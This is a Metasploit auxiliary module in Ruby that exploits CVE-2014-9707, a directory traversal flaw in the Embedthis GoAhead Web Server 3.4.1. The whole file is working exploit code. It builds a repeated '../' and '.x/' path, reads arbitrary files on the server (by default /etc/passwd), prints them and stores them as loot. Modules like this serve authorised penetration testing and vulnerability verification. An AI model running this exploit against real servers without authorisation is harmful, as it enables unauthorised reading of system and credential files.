76 lines
2.0 KiB
Ruby
76 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability in the Embedthis
|
|
GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files
|
|
with the web server privileges.
|
|
},
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-9707'],
|
|
['PACKETSTORM', '131156']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Matthew Daley', # Vulnerability discovery
|
|
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
|
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
|
|
])
|
|
|
|
deregister_options('RHOST')
|
|
end
|
|
|
|
def run_host(ip)
|
|
filename = datastore['FILEPATH']
|
|
filename = filename[1, filename.length] if filename =~ /^\//
|
|
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
|
|
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => "#{traversal}"
|
|
})
|
|
|
|
if res &&
|
|
res.code == 200 &&
|
|
res.headers['Server'] &&
|
|
res.headers['Server'] =~ /GoAhead/
|
|
|
|
print_line("#{res.body}")
|
|
|
|
fname = datastore['FILEPATH']
|
|
|
|
path = store_loot(
|
|
'goahead.traversal',
|
|
'text/plain',
|
|
ip,
|
|
res,
|
|
fname
|
|
)
|
|
|
|
print_good("File saved in: #{path}")
|
|
else
|
|
print_error("Nothing was downloaded")
|
|
end
|
|
end
|
|
end
|